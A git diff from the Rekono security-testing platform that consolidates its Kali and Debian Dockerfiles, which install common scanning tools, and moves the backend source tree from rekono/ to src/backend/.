--git a/docker/Dockerfile.kali b/docker/Dockerfile.kali index 8ac43244e..66b3539ef 100644 --- a/docker/Dockerfile.kali +++ b/docker/Dockerfile.kali @@ -6,43 +6,46 @@ ENV PYTHONUNBUFFERED 1 ENV OBJC_DISABLE_INITIALIZE_FORK_SAFETY YES # Install requirements -RUN apt update -y && apt upgrade -y && apt dist-upgrade -y && apt install python3-pip libpq-dev python3-dev libmagic1 libcap2-bin -y -RUN ln -s /usr/bin/python3 /usr/bin/python - -# Home -RUN mkdir /rekono -COPY config.yaml /rekono - +RUN apt update -y && \ + apt upgrade -y && \ + apt dist-upgrade -y && \ + apt install python3-pip libpq-dev python3-dev libmagic1 libcap2-bin -y && \ + ln -s /usr/bin/python3 /usr/bin/python && \ + # Initialize directories + mkdir /rekono && \ + mkdir /code + +# Configuration +COPY src/config.yaml /rekono # Source code -RUN mkdir /code -COPY rekono/ /code -COPY requirements.txt /code +COPY src/backend/ /code # Install backend dependencies -RUN pip install --upgrade pip -RUN pip install -r /code/requirements.txt - -# Tools -RUN apt install nmap dirsearch theharvester nikto sslscan sslyze cmseek zaproxy exploitdb metasploit-framework emailharvester joomscan gitleaks smbmap nuclei gobuster -y -RUN setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap) -RUN git clone https://github.com/fullhunt/log4j-scan /opt/log4j-scan -RUN git clone https://github.com/fullhunt/spring4shell-scan.git /opt/spring4shell-scan -RUN git clone https://github.com/internetwache/GitTools.git /opt/GitTools -RUN pip install -r /opt/log4j-scan/requirements.txt -RUN pip install -r /opt/spring4shell-scan/requirements.txt -RUN pip install emailfinder ssh-audit - -# Wordlists -RUN apt install seclists dirb -y - -# System user -RUN adduser --disabled-password rekono -RUN chown -R rekono:rekono /code -RUN chown -R rekono:rekono /rekono -RUN chown -R rekono:rekono /usr/share/cmseek -RUN chown -R rekono:rekono /opt/ -RUN chown -R rekono:rekono /usr/share/seclists/ -RUN chown -R rekono:rekono /usr/share/dirb/wordlists/ +RUN pip install --upgrade pip && \ + pip install -r /code/requirements.txt && \ + # Install security tools + apt install nmap dirsearch theharvester nikto sslscan sslyze cmseek zaproxy exploitdb metasploit-framework emailharvester joomscan gitleaks smbmap nuclei gobuster -y && \ + setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap) && \ + git clone https://github.com/fullhunt/log4j-scan /opt/log4j-scan && \ + git clone https://github.com/fullhunt/spring4shell-scan.git /opt/spring4shell-scan && \ + git clone https://github.com/internetwache/GitTools.git /opt/GitTools && \ + pip install -r /opt/log4j-scan/requirements.txt && \ + pip install -r /opt/spring4shell-scan/requirements.txt && \ + pip install emailfinder ssh-audit && \ + # Install wordlists + apt install seclists dirb -y && \ + apt autoremove -y && \ + apt autoclean -y && \ + apt clean -y && \ + rm -rf /var/lib/apt/lists/* && \ + # System user + adduser --disabled-password rekono && \ + chown -R rekono:rekono /code && \ + chown -R rekono:rekono /rekono && \ + chown -R rekono:rekono /usr/share/cmseek && \ + chown -R rekono:rekono /opt/ && \ + chown -R rekono:rekono /usr/share/seclists/ && \ + chown -R rekono:rekono /usr/share/dirb/wordlists/ # Final system configuration USER rekono diff --git a/docker/debian/Dockerfile b/docker/debian/Dockerfile index a7ee926c4..24d5e81ce 100644 --- a/docker/debian/Dockerfile +++ b/docker/debian/Dockerfile @@ -30,19 +30,19 @@ RUN apt update -y && \ echo $REKONO_VERSION > /kaboxer/version && \ echo 1 > /kaboxer/packaging-revision -# Install Rekono -COPY rekono/ /code -COPY requirements.txt /code -COPY config.yaml /code +# Source code and configuration +COPY src/backend/ /code +COPY src/frontend/dist_electron/rekono_*.deb /code +COPY src/config.yaml /code COPY docker/debian/entrypoint.sh /entrypoint.sh COPY docker/debian/set_permissions.sh /set_permissions.sh -RUN pip install -r /code/requirements.txt && \ - dpkg -i /code/frontend/dist_electron/rekono_*.deb || apt -f install -y && \ - rm -R /code/frontend/ && \ - rm -R /code/testing/ -# Tools -RUN apt install nmap dirsearch theharvester nikto sslscan sslyze cmseek zaproxy exploitdb metasploit-framework emailharvester joomscan gitleaks smbmap nuclei gobuster -y && \ +# Install dependencies and Desktop app +RUN pip install -r /code/requirements.txt && \ + dpkg -i /code/rekono_*.deb || apt -f install -y && \ + rm -R /code/testing/ && \ + # Install security tools + apt install nmap dirsearch theharvester nikto sslscan sslyze cmseek zaproxy exploitdb metasploit-framework emailharvester joomscan gitleaks smbmap nuclei gobuster -y && \ apt install seclists dirb -y && \ apt autoremove -y && \ apt autoclean -y && \ @@ -73,10 +73,9 @@ USER root RUN export RKN_DB_PASSWORD=$(cat /config/rkn_db_password.txt) && \ sudo /etc/init.d/postgresql start && \ python /code/manage.py migrate && \ - python /code/manage.py createsuperuser --no-input - -# System user -RUN adduser --disabled-password rekono && \ + python /code/manage.py createsuperuser --no-input && \ + # System user + adduser --disabled-password rekono && \ usermod -a -G postgres rekono && \ usermod -a -G postgres root && \ touch $XDG_CONFIG_HOME && \ diff --git a/rekono/frontend/.env.production b/rekono/frontend/.env.production deleted file mode 100644 index 2cd41a2a5..000000000 --- a/rekono/frontend/.env.production +++ /dev/null @@ -1 +0,0 @@ -VUE_APP_DESKTOP_BACKEND_URL=https://127.0.0.1 \ No newline at end of file diff --git a/.flake8 b/src/backend/.flake8 similarity index 78% rename from .flake8 rename to src/backend/.flake8 index 579685ed5..0f1ff22dd 100644 --- a/.flake8 +++ b/src/backend/.flake8 @@ -1,5 +1,5 @@ [flake8] -exclude = .git,__pycache__,*/migrations/*,venv/*,rekono/frontend/* +exclude = .git,__pycache__,*/migrations/*,venv/*,src/frontend/* ignore=W504,W605 ; W504: Disallow line break after binary operator (and, or, etc.). Inconsistency with W503 ; W605: Invalid escape characters (needed to send Telegram messages with Markdown style) diff --git a/.mypy.ini b/src/backend/.mypy.ini similarity index 55% rename from .mypy.ini rename to src/backend/.mypy.ini index b07db821d..fc36a9534 100644 --- a/.mypy.ini +++ b/src/backend/.mypy.ini @@ -1,5 +1,5 @@ [mypy] -files = rekono/** +files = src/backend/** ; Mypy fails due to some external imports without hints ignore_missing_imports = True -exclude = (.*/migrations/.*|venv/.*|rekono/frontend/.*) \ No newline at end of file +exclude = (.*/migrations/.*|venv/.*|src/frontend/.*) \ No newline at end of file diff --git a/rekono/api/__init__.py b/src/backend/api/__init__.py similarity index 100% rename from rekono/api/__init__.py rename to src/backend/api/__init__.py diff --git a/rekono/api/fields.py b/src/backend/api/fields.py similarity index 100% rename from rekono/api/fields.py rename to src/backend/api/fields.py diff --git a/rekono/api/filters.py b/src/backend/api/filters.py similarity index 100% rename from rekono/api/filters.py rename to src/backend/api/filters.py diff --git a/rekono/api/log.py b/src/backend/api/log.py similarity index 100% rename from rekono/api/log.py rename to src/backend/api/log.py diff --git a/rekono/api/pagination.py b/src/backend/api/pagination.py similarity index 100% rename from rekono/api/pagination.py rename to src/backend/api/pagination.py diff --git a/rekono/api/views.py b/src/backend/api/views.py similarity index 100% rename from rekono/api/views.py rename to src/backend/api/views.py diff --git a/rekono/authentications/__init__.py b/src/backend/authentications/__init__.py similarity index 100% rename from rekono/authentications/__init__.py rename to src/backend/authentications/__init__.py diff --git a/rekono/authentications/admin.py b/src/backend/authentications/admin.py similarity index 100% rename from rekono/authentications/admin.py rename to src/backend/authentications/admin.py diff --git a/rekono/authentications/apps.py b/src/backend/authentications/apps.py similarity index 100% rename from rekono/authentications/apps.py rename to src/backend/authentications/apps.py diff --git a/rekono/authentications/enums.py b/src/backend/authentications/enums.py similarity index 100% rename from rekono/authentications/enums.py rename to src/backend/authentications/enums.py diff --git a/rekono/authentications/filters.py b/src/backend/authentications/filters.py similarity index 100% rename from rekono/authentications/filters.py rename to src/backend/authentications/filters.py diff --git a/rekono/authentications/migrations/0001_initial.py b/src/backend/authentications/migrations/0001_initial.py similarity index 100% rename from rekono/authentications/migrations/0001_initial.py rename to src/backend/authentications/migrations/0001_initial.py diff --git a/rekono/authentications/migrations/__init__.py b/src/backend/authentications/migrations/__init__.py similarity index 100% rename from rekono/authentications/migrations/__init__.py rename to src/backend/authentications/migrations/__init__.py diff --git a/rekono/authentications/models.py b/src/backend/authentications/models.py similarity index 100% rename from rekono/authentications/models.py rename to src/backend/authentications/models.py diff --git a/rekono/authentications/serializers.py b/src/backend/authentications/serializers.py similarity index 100% rename from rekono/authentications/serializers.py rename to src/backend/authentications/serializers.py diff --git a/rekono/authentications/urls.py b/src/backend/authentications/urls.py similarity index 100% rename from rekono/authentications/urls.py rename to src/backend/authentications/urls.py diff --git a/rekono/authentications/views.py b/src/backend/authentications/views.py similarity index 100% rename from rekono/authentications/views.py rename to src/backend/authentications/views.py diff --git a/rekono/defectdojo/__init__.py b/src/backend/defectdojo/__init__.py similarity index 100% rename from rekono/defectdojo/__init__.py rename to src/backend/defectdojo/__init__.py diff --git a/rekono/defectdojo/api.py b/src/backend/defectdojo/api.py similarity index 100% rename from rekono/defectdojo/api.py rename to src/backend/defectdojo/api.py diff --git a/rekono/defectdojo/constants.py b/src/backend/defectdojo/constants.py similarity index 100% rename from rekono/defectdojo/constants.py rename to src/backend/defectdojo/constants.py diff --git a/rekono/defectdojo/exceptions.py b/src/backend/defectdojo/exceptions.py similarity index 100% rename from rekono/defectdojo/exceptions.py rename to src/backend/defectdojo/exceptions.py diff --git a/rekono/defectdojo/reporter.py b/src/backend/defectdojo/reporter.py similarity index 100% rename from rekono/defectdojo/reporter.py rename to src/backend/defectdojo/reporter.py diff --git a/rekono/email_notifications/__init__.py b/src/backend/email_notifications/__init__.py similarity index 100% rename from rekono/email_notifications/__init__.py rename to src/backend/email_notifications/__init__.py diff --git a/rekono/email_notifications/constants.py b/src/backend/email_notifications/constants.py similarity index 100% rename from rekono/email_notifications/constants.py rename to src/backend/email_notifications/constants.py diff --git a/rekono/email_notifications/sender.py b/src/backend/email_notifications/sender.py similarity index 100% rename from rekono/email_notifications/sender.py rename to src/backend/email_notifications/sender.py diff --git a/rekono/email_notifications/templates/execution_notification.html b/src/backend/email_notifications/templates/execution_notification.html similarity index 100% rename from rekono/email_notifications/templates/execution_notification.html rename to src/backend/email_notifications/templates/execution_notification.html diff --git a/rekono/email_notifications/templates/user_enable_account.html b/src/backend/email_notifications/templates/user_enable_account.html similarity index 100% rename from rekono/email_notifications/templates/user_enable_account.html rename to src/backend/email_notifications/templates/user_enable_account.html diff --git a/rekono/email_notifications/templates/user_invitation.html b/src/backend/email_notifications/templates/user_invitation.html similarity index 100% rename from rekono/email_notifications/templates/user_invitation.html rename to src/backend/email_notifications/templates/user_invitation.html diff --git a/rekono/email_notifications/templates/user_login_notification.html b/src/backend/email_notifications/templates/user_login_notification.html similarity index 100% rename from rekono/email_notifications/templates/user_login_notification.html rename to src/backend/email_notifications/templates/user_login_notification.html diff --git a/rekono/email_notifications/templates/user_password_reset.html b/src/backend/email_notifications/templates/user_password_reset.html similarity index 100% rename from rekono/email_notifications/templates/user_password_reset.html rename to src/backend/email_notifications/templates/user_password_reset.html diff --git a/rekono/email_notifications/templates/user_telegram_linked_notification.html b/src/backend/email_notifications/templates/user_telegram_linked_notification.html similarity index 100% rename from rekono/email_notifications/templates/user_telegram_linked_notification.html rename to src/backend/email_notifications/templates/user_telegram_linked_notification.html diff --git a/rekono/executions/__init__.py b/src/backend/executions/__init__.py similarity index 100% rename from rekono/executions/__init__.py rename to src/backend/executions/__init__.py diff --git a/rekono/executions/admin.py b/src/backend/executions/admin.py similarity index 100% rename from rekono/executions/admin.py rename to src/backend/executions/admin.py diff --git a/rekono/executions/apps.py b/src/backend/executions/apps.py similarity index 100% rename from rekono/executions/apps.py rename to src/backend/executions/apps.py diff --git a/rekono/executions/filters.py b/src/backend/executions/filters.py similarity index 100% rename from rekono/executions/filters.py rename to src/backend/executions/filters.py diff --git a/rekono/executions/migrations/0001_initial.py b/src/backend/executions/migrations/0001_initial.py similarity index 100% rename from rekono/executions/migrations/0001_initial.py rename to src/backend/executions/migrations/0001_initial.py diff --git a/rekono/executions/migrations/__init__.py b/src/backend/executions/migrations/__init__.py similarity index 100% rename from rekono/executions/migrations/__init__.py rename to src/backend/executions/migrations/__init__.py diff --git a/rekono/executions/models.py b/src/backend/executions/models.py similarity index 100% rename from rekono/executions/models.py rename to src/backend/executions/models.py diff --git a/rekono/executions/queue/__init__.py b/src/backend/executions/queue/__init__.py similarity index 100% rename from rekono/executions/queue/__init__.py rename to src/backend/executions/queue/__init__.py diff --git a/rekono/executions/queue/consumer.py b/src/backend/executions/queue/consumer.py similarity index 100% rename from rekono/executions/queue/consumer.py rename to src/backend/executions/queue/consumer.py diff --git a/rekono/executions/queue/producer.py b/src/backend/executions/queue/producer.py similarity index 100% rename from rekono/executions/queue/producer.py rename to src/backend/executions/queue/producer.py diff --git a/rekono/executions/queue/utils.py b/src/backend/executions/queue/utils.py similarity index 100% rename from rekono/executions/queue/utils.py rename to src/backend/executions/queue/utils.py diff --git a/rekono/executions/serializers.py b/src/backend/executions/serializers.py similarity index 100% rename from rekono/executions/serializers.py rename to src/backend/executions/serializers.py diff --git a/rekono/executions/urls.py b/src/backend/executions/urls.py similarity index 100% rename from rekono/executions/urls.py rename to src/backend/executions/urls.py diff --git a/rekono/executions/utils.py b/src/backend/executions/utils.py similarity index 100% rename from rekono/executions/utils.py rename to src/backend/executions/utils.py diff --git a/rekono/executions/views.py b/src/backend/executions/views.py similarity index 100% rename from rekono/executions/views.py rename to src/backend/executions/views.py diff --git a/rekono/findings/__init__.py b/src/backend/findings/__init__.py similarity index 100% rename from rekono/findings/__init__.py rename to src/backend/findings/__init__.py diff --git a/rekono/findings/admin.py b/src/backend/findings/admin.py similarity index 100% rename from rekono/findings/admin.py rename to src/backend/findings/admin.py diff --git a/rekono/findings/apps.py b/src/backend/findings/apps.py similarity index 100% rename from rekono/findings/apps.py rename to src/backend/findings/apps.py diff --git a/rekono/findings/enums.py b/src/backend/findings/enums.py similarity index 100% rename from rekono/findings/enums.py rename to src/backend/findings/enums.py diff --git a/rekono/findings/filters.py b/src/backend/findings/filters.py similarity index 100% rename from rekono/findings/filters.py rename to src/backend/findings/filters.py diff --git a/rekono/findings/migrations/0001_initial.py b/src/backend/findings/migrations/0001_initial.py similarity index 100% rename from rekono/findings/migrations/0001_initial.py rename to src/backend/findings/migrations/0001_initial.py diff --git a/rekono/findings/migrations/0002_alter_osint_data_type.py b/src/backend/findings/migrations/0002_alter_osint_data_type.py similarity index 100% rename from rekono/findings/migrations/0002_alter_osint_data_type.py rename to src/backend/findings/migrations/0002_alter_osint_data_type.py diff --git a/rekono/findings/migrations/__init__.py b/src/backend/findings/migrations/__init__.py similarity index 100% rename from rekono/findings/migrations/__init__.py rename to src/backend/findings/migrations/__init__.py diff --git a/rekono/findings/models.py b/src/backend/findings/models.py similarity index 100% rename from rekono/findings/models.py rename to src/backend/findings/models.py diff --git a/rekono/findings/nvd_nist.py b/src/backend/findings/nvd_nist.py similarity index 100% rename from rekono/findings/nvd_nist.py rename to src/backend/findings/nvd_nist.py diff --git a/rekono/findings/queue.py b/src/backend/findings/queue.py similarity index 100% rename from rekono/findings/queue.py rename to src/backend/findings/queue.py diff --git a/rekono/findings/serializers.py b/src/backend/findings/serializers.py similarity index 100% rename from rekono/findings/serializers.py rename to src/backend/findings/serializers.py diff --git a/rekono/findings/urls.py b/src/backend/findings/urls.py similarity index 100% rename from rekono/findings/urls.py rename to src/backend/findings/urls.py diff --git a/rekono/findings/utils.py b/src/backend/findings/utils.py similarity index 100% rename from rekono/findings/utils.py rename to src/backend/findings/utils.py diff --git a/rekono/findings/views.py b/src/backend/findings/views.py similarity index 100% rename from rekono/findings/views.py rename to src/backend/findings/views.py diff --git a/rekono/input_types/__init__.py b/src/backend/input_types/__init__.py similarity index 100% rename from rekono/input_types/__init__.py rename to src/backend/input_types/__init__.py diff --git a/rekono/input_types/admin.py b/src/backend/input_types/admin.py similarity index 100% rename from rekono/input_types/admin.py rename to src/backend/input_types/admin.py diff --git a/rekono/input_types/apps.py b/src/backend/input_types/apps.py similarity index 100% rename from rekono/input_types/apps.py rename to src/backend/input_types/apps.py diff --git a/rekono/input_types/base.py b/src/backend/input_types/base.py similarity index 100% rename from rekono/input_types/base.py rename to src/backend/input_types/base.py diff --git a/rekono/input_types/enums.py b/src/backend/input_types/enums.py similarity index 100% rename from rekono/input_types/enums.py rename to src/backend/input_types/enums.py diff --git a/rekono/input_types/fixtures/1_input_types.json b/src/backend/input_types/fixtures/1_input_types.json similarity index 100% rename from rekono/input_types/fixtures/1_input_types.json rename to src/backend/input_types/fixtures/1_input_types.json diff --git a/rekono/input_types/migrations/0001_initial.py b/src/backend/input_types/migrations/0001_initial.py similarity index 100% rename from rekono/input_types/migrations/0001_initial.py rename to src/backend/input_types/migrations/0001_initial.py diff --git a/rekono/input_types/migrations/0002_auto_20221226_0011.py b/src/backend/input_types/migrations/0002_auto_20221226_0011.py similarity index 100% rename from rekono/input_types/migrations/0002_auto_20221226_0011.py rename to src/backend/input_types/migrations/0002_auto_20221226_0011.py diff --git a/rekono/input_types/migrations/__init__.py b/src/backend/input_types/migrations/__init__.py similarity index 100% rename from rekono/input_types/migrations/__init__.py rename to src/backend/input_types/migrations/__init__.py diff --git a/rekono/input_types/models.py b/src/backend/input_types/models.py similarity index 100% rename from rekono/input_types/models.py rename to src/backend/input_types/models.py diff --git a/rekono/input_types/serializers.py b/src/backend/input_types/serializers.py similarity index 100% rename from rekono/input_types/serializers.py rename to src/backend/input_types/serializers.py diff --git a/rekono/input_types/utils.py b/src/backend/input_types/utils.py similarity index 100% rename from rekono/input_types/utils.py rename to src/backend/input_types/utils.py diff --git a/rekono/likes/__init__.py b/src/backend/likes/__init__.py similarity index 100% rename from rekono/likes/__init__.py rename to src/backend/likes/__init__.py diff --git a/rekono/likes/filters.py b/src/backend/likes/filters.py similarity index 100% rename from rekono/likes/filters.py rename to src/backend/likes/filters.py diff --git a/rekono/likes/models.py b/src/backend/likes/models.py similarity index 100% rename from rekono/likes/models.py rename to src/backend/likes/models.py diff --git a/rekono/likes/serializers.py b/src/backend/likes/serializers.py similarity index 100% rename from rekono/likes/serializers.py rename to src/backend/likes/serializers.py diff --git a/rekono/likes/views.py b/src/backend/likes/views.py similarity index 100% rename from rekono/likes/views.py rename to src/backend/likes/views.py diff --git a/rekono/manage.py b/src/backend/manage.py similarity index 100% rename from rekono/manage.py rename to src/backend/manage.py diff --git a/rekono/parameters/__init__.py b/src/backend/parameters/__init__.py similarity index 100% rename from rekono/parameters/__init__.py rename to src/backend/parameters/__init__.py diff --git a/rekono/parameters/admin.py b/src/backend/parameters/admin.py similarity index 100% rename from rekono/parameters/admin.py rename to src/backend/parameters/admin.py diff --git a/rekono/parameters/apps.py b/src/backend/parameters/apps.py similarity index 100% rename from rekono/parameters/apps.py rename to src/backend/parameters/apps.py diff --git a/rekono/parameters/filters.py b/src/backend/parameters/filters.py similarity index 100% rename from rekono/parameters/filters.py rename to src/backend/parameters/filters.py diff --git a/rekono/parameters/migrations/0001_initial.py b/src/backend/parameters/migrations/0001_initial.py similarity index 100% rename from rekono/parameters/migrations/0001_initial.py rename to src/backend/parameters/migrations/0001_initial.py diff --git a/rekono/parameters/migrations/__init__.py b/src/backend/parameters/migrations/__init__.py similarity index 100% rename from rekono/parameters/migrations/__init__.py rename to src/backend/parameters/migrations/__init__.py diff --git a/rekono/parameters/models.py b/src/backend/parameters/models.py similarity index 100% rename from rekono/parameters/models.py rename to src/backend/parameters/models.py diff --git a/rekono/parameters/serializers.py b/src/backend/parameters/serializers.py similarity index 100% rename from rekono/parameters/serializers.py rename to src/backend/parameters/serializers.py diff --git a/rekono/parameters/urls.py b/src/backend/parameters/urls.py similarity index 100% rename from rekono/parameters/urls.py rename to src/backend/parameters/urls.py diff --git a/rekono/parameters/views.py b/src/backend/parameters/views.py similarity index 100% rename from rekono/parameters/views.py rename to src/backend/parameters/views.py diff --git a/rekono/processes/__init__.py b/src/backend/processes/__init__.py similarity index 100% rename from rekono/processes/__init__.py rename to src/backend/processes/__init__.py diff --git a/rekono/processes/admin.py b/src/backend/processes/admin.py similarity index 100% rename from rekono/processes/admin.py rename to src/backend/processes/admin.py diff --git a/rekono/processes/apps.py b/src/backend/processes/apps.py similarity index 100% rename from rekono/processes/apps.py rename to src/backend/processes/apps.py diff --git a/rekono/processes/executor/__init__.py b/src/backend/processes/executor/__init__.py similarity index 100% rename from rekono/processes/executor/__init__.py rename to src/backend/processes/executor/__init__.py diff --git a/rekono/processes/executor/callback.py b/src/backend/processes/executor/callback.py similarity index 100% rename from rekono/processes/executor/callback.py rename to src/backend/processes/executor/callback.py diff --git a/rekono/processes/executor/executor.py b/src/backend/processes/executor/executor.py similarity index 100% rename from rekono/processes/executor/executor.py rename to src/backend/processes/executor/executor.py diff --git a/rekono/processes/filters.py b/src/backend/processes/filters.py similarity index 100% rename from rekono/processes/filters.py rename to src/backend/processes/filters.py diff --git a/rekono/processes/fixtures/1_processes.json b/src/backend/processes/fixtures/1_processes.json similarity index 100% rename from rekono/processes/fixtures/1_processes.json rename to src/backend/processes/fixtures/1_processes.json diff --git a/rekono/processes/fixtures/2_steps.json b/src/backend/processes/fixtures/2_steps.json similarity index 100% rename from rekono/processes/fixtures/2_steps.json rename to src/backend/processes/fixtures/2_steps.json diff --git a/rekono/processes/migrations/0001_initial.py b/src/backend/processes/migrations/0001_initial.py similarity index 100% rename from rekono/processes/migrations/0001_initial.py rename to src/backend/processes/migrations/0001_initial.py diff --git a/rekono/processes/migrations/0002_initial.py b/src/backend/processes/migrations/0002_initial.py similarity index 100% rename from rekono/processes/migrations/0002_initial.py rename to src/backend/processes/migrations/0002_initial.py diff --git a/rekono/processes/migrations/0003_initial.py b/src/backend/processes/migrations/0003_initial.py similarity index 100% rename from rekono/processes/migrations/0003_initial.py rename to src/backend/processes/migrations/0003_initial.py diff --git a/rekono/processes/migrations/__init__.py b/src/backend/processes/migrations/__init__.py similarity index 100% rename from rekono/processes/migrations/__init__.py rename to src/backend/processes/migrations/__init__.py diff --git a/rekono/processes/models.py b/src/backend/processes/models.py similarity index 100% rename from rekono/processes/models.py rename to src/backend/processes/models.py diff --git a/rekono/processes/serializers.py b/src/backend/processes/serializers.py similarity index 100% rename from rekono/processes/serializers.py rename to src/backend/processes/serializers.py diff --git a/rekono/processes/urls.py b/src/backend/processes/urls.py similarity index 100% rename from rekono/processes/urls.py rename to src/backend/processes/urls.py diff --git a/rekono/processes/views.py b/src/backend/processes/views.py similarity index 100% rename from rekono/processes/views.py rename to src/backend/processes/views.py diff --git a/rekono/projects/__init__.py b/src/backend/projects/__init__.py similarity index 100% rename from rekono/projects/__init__.py rename to src/backend/projects/__init__.py diff --git a/rekono/projects/admin.py b/src/backend/projects/admin.py similarity index 100% rename from rekono/projects/admin.py rename to src/backend/projects/admin.py diff --git a/rekono/projects/apps.py b/src/backend/projects/apps.py similarity index 100% rename from rekono/projects/apps.py rename to src/backend/projects/apps.py diff --git a/rekono/projects/filters.py b/src/backend/projects/filters.py similarity index 100% rename from rekono/projects/filters.py rename to src/backend/projects/filters.py diff --git a/rekono/projects/migrations/0001_initial.py b/src/backend/projects/migrations/0001_initial.py similarity index 100% rename from rekono/projects/migrations/0001_initial.py rename to src/backend/projects/migrations/0001_initial.py diff --git a/rekono/projects/migrations/0002_initial.py b/src/backend/projects/migrations/0002_initial.py similarity index 100% rename from rekono/projects/migrations/0002_initial.py rename to src/backend/projects/migrations/0002_initial.py diff --git a/rekono/projects/migrations/__init__.py b/src/backend/projects/migrations/__init__.py similarity index 100% rename from rekono/projects/migrations/__init__.py rename to src/backend/projects/migrations/__init__.py diff --git a/rekono/projects/models.py b/src/backend/projects/models.py similarity index 100% rename from rekono/projects/models.py rename to src/backend/projects/models.py diff --git a/rekono/projects/serializers.py b/src/backend/projects/serializers.py similarity index 100% rename from rekono/projects/serializers.py rename to src/backend/projects/serializers.py diff --git a/rekono/projects/urls.py b/src/backend/projects/urls.py similarity index 100% rename from rekono/projects/urls.py rename to src/backend/projects/urls.py diff --git a/rekono/projects/views.py b/src/backend/projects/views.py similarity index 100% rename from rekono/projects/views.py rename to src/backend/projects/views.py diff --git a/rekono/queues/__init__.py b/src/backend/queues/__init__.py similarity index 100% rename from rekono/queues/__init__.py rename to src/backend/queues/__init__.py diff --git a/rekono/queues/utils.py b/src/backend/queues/utils.py similarity index 100% rename from rekono/queues/utils.py rename to src/backend/queues/utils.py diff --git a/rekono/rekono/__init__.py b/src/backend/rekono/__init__.py similarity index 100% rename from rekono/rekono/__init__.py rename to src/backend/rekono/__init__.py diff --git a/rekono/rekono/apps.py b/src/backend/rekono/apps.py similarity index 100% rename from rekono/rekono/apps.py rename to src/backend/rekono/apps.py diff --git a/rekono/rekono/asgi.py b/src/backend/rekono/asgi.py similarity index 100% rename from rekono/rekono/asgi.py rename to src/backend/rekono/asgi.py diff --git a/rekono/rekono/config.py b/src/backend/rekono/config.py similarity index 100% rename from rekono/rekono/config.py rename to src/backend/rekono/config.py diff --git a/rekono/rekono/environment.py b/src/backend/rekono/environment.py similarity index 100% rename from rekono/rekono/environment.py rename to src/backend/rekono/environment.py diff --git a/rekono/rekono/settings.py b/src/backend/rekono/settings.py similarity index 100% rename from rekono/rekono/settings.py rename to src/backend/rekono/settings.py diff --git a/rekono/rekono/urls.py b/src/backend/rekono/urls.py similarity index 100% rename from rekono/rekono/urls.py rename to src/backend/rekono/urls.py diff --git a/rekono/rekono/wsgi.py b/src/backend/rekono/wsgi.py similarity index 100% rename from rekono/rekono/wsgi.py rename to src/backend/rekono/wsgi.py diff --git a/requirements.txt b/src/backend/requirements.txt similarity index 100% rename from requirements.txt rename to src/backend/requirements.txt diff --git a/rekono/resources/__init__.py b/src/backend/resources/__init__.py similarity index 100% rename from rekono/resources/__init__.py rename to src/backend/resources/__init__.py diff --git a/rekono/resources/admin.py b/src/backend/resources/admin.py similarity index 100% rename from rekono/resources/admin.py rename to src/backend/resources/admin.py diff --git a/rekono/resources/apps.py b/src/backend/resources/apps.py similarity index 100% rename from rekono/resources/apps.py rename to src/backend/resources/apps.py diff --git a/rekono/resources/enums.py b/src/backend/resources/enums.py similarity index 100% rename from rekono/resources/enums.py rename to src/backend/resources/enums.py diff --git a/rekono/resources/filters.py b/src/backend/resources/filters.py similarity index 100% rename from rekono/resources/filters.py rename to src/backend/resources/filters.py diff --git a/rekono/resources/fixtures/1_wordlists.json b/src/backend/resources/fixtures/1_wordlists.json similarity index 100% rename from rekono/resources/fixtures/1_wordlists.json rename to src/backend/resources/fixtures/1_wordlists.json diff --git a/rekono/resources/migrations/0001_initial.py b/src/backend/resources/migrations/0001_initial.py similarity index 100% rename from rekono/resources/migrations/0001_initial.py rename to src/backend/resources/migrations/0001_initial.py diff --git a/rekono/resources/migrations/0002_initial.py b/src/backend/resources/migrations/0002_initial.py similarity index 100% rename from rekono/resources/migrations/0002_initial.py rename to src/backend/resources/migrations/0002_initial.py diff --git a/rekono/resources/migrations/0003_alter_wordlist_type.py b/src/backend/resources/migrations/0003_alter_wordlist_type.py similarity index 100% rename from rekono/resources/migrations/0003_alter_wordlist_type.py rename to src/backend/resources/migrations/0003_alter_wordlist_type.py diff --git a/rekono/resources/migrations/__init__.py b/src/backend/resources/migrations/__init__.py similarity index 100% rename from rekono/resources/migrations/__init__.py rename to src/backend/resources/migrations/__init__.py diff --git a/rekono/resources/models.py b/src/backend/resources/models.py similarity index 100% rename from rekono/resources/models.py rename to src/backend/resources/models.py diff --git a/rekono/resources/serializers.py b/src/backend/resources/serializers.py similarity index 100% rename from rekono/resources/serializers.py rename to src/backend/resources/serializers.py diff --git a/rekono/resources/urls.py b/src/backend/resources/urls.py similarity index 100% rename from rekono/resources/urls.py rename to src/backend/resources/urls.py diff --git a/rekono/resources/views.py b/src/backend/resources/views.py similarity index 100% rename from rekono/resources/views.py rename to src/backend/resources/views.py diff --git a/rekono/security/__init__.py b/src/backend/security/__init__.py similarity index 100% rename from rekono/security/__init__.py rename to src/backend/security/__init__.py diff --git a/rekono/security/apps.py b/src/backend/security/apps.py similarity index 100% rename from rekono/security/apps.py rename to src/backend/security/apps.py diff --git a/rekono/security/authorization/__init__.py b/src/backend/security/authorization/__init__.py similarity index 100% rename from rekono/security/authorization/__init__.py rename to src/backend/security/authorization/__init__.py diff --git a/rekono/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py similarity index 100% rename from rekono/security/authorization/permissions.py rename to src/backend/security/authorization/permissions.py diff --git a/rekono/security/authorization/roles.py b/src/backend/security/authorization/roles.py similarity index 100% rename from rekono/security/authorization/roles.py rename to src/backend/security/authorization/roles.py diff --git a/rekono/security/crypto.py b/src/backend/security/crypto.py similarity index 100% rename from rekono/security/crypto.py rename to src/backend/security/crypto.py diff --git a/rekono/security/csp_header.py b/src/backend/security/csp_header.py similarity index 100% rename from rekono/security/csp_header.py rename to src/backend/security/csp_header.py diff --git a/rekono/security/file_upload.py b/src/backend/security/file_upload.py similarity index 100% rename from rekono/security/file_upload.py rename to src/backend/security/file_upload.py diff --git a/rekono/security/input_validation.py b/src/backend/security/input_validation.py similarity index 100% rename from rekono/security/input_validation.py rename to src/backend/security/input_validation.py diff --git a/rekono/security/middleware.py b/src/backend/security/middleware.py similarity index 100% rename from rekono/security/middleware.py rename to src/backend/security/middleware.py diff --git a/rekono/security/otp.py b/src/backend/security/otp.py similarity index 100% rename from rekono/security/otp.py rename to src/backend/security/otp.py diff --git a/rekono/security/passwords.py b/src/backend/security/passwords.py similarity index 100% rename from rekono/security/passwords.py rename to src/backend/security/passwords.py diff --git a/rekono/security/serializers.py b/src/backend/security/serializers.py similarity index 100% rename from rekono/security/serializers.py rename to src/backend/security/serializers.py diff --git 